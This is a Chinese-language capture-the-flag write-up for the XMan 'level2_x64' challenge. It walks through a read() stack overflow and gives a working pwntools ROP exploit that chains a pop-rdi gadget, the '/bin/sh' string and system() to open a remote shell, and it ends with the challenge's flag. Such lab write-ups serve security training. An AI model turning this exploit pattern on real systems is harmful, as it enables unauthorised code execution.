CTF – XMan – level2(x64)

题目说明

题目来源: XMan

题目: level2_x64

read() 栈溢出 ROP 执行语句

解题步骤

拿到文件后先查看文件类型是64位的elf文件

检查安全机制没有什么,只是开了NX

使用IDA64打开看到主函数的伪代码

查看vulerable_function()函数伪代码

查看函数列表和字符串列表存在system()和/bin/sh字符串

64位和32位结构差不多,利用思路也差不多。64位程序在调用函数时,参数的传递方式和32位有所区别,32位通过栈传参,64位通过edi寄存器传参,所以要将思路由覆盖栈改为覆盖edi。如果存在ROP的话,可以使用pop edi/rdi语句达到覆盖edi的效果。
执行pop语句保证栈顶是/bin/sh的地址并将返回地址设置为system()就能获取shell

可以使用ROPgadget找pop edi;ret的地址

Payload构成: 0x88填充buf + 0x8填充EBP + pop edi/rdi语句地址 + /bin/sh字符串 + system()函数地址

写出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('pwn2.jarvisoj.com','9882')
e = ELF('./level2_x64')

sys_addr = e.symbols['system']
bin_addr = e.search('/bin/sh').next()
pop_rdi_addr = 0x4006b3

payload = 'A'*0x80 + 'A'*0x8 + p64(pop_rdi_addr) + p64(bin_addr) + p64(sys_addr)
p.send(payload)

p.interactive()

运行得到flag

flag:

1
CTF{081ecc7c8d658409eb43358dcc1cf446}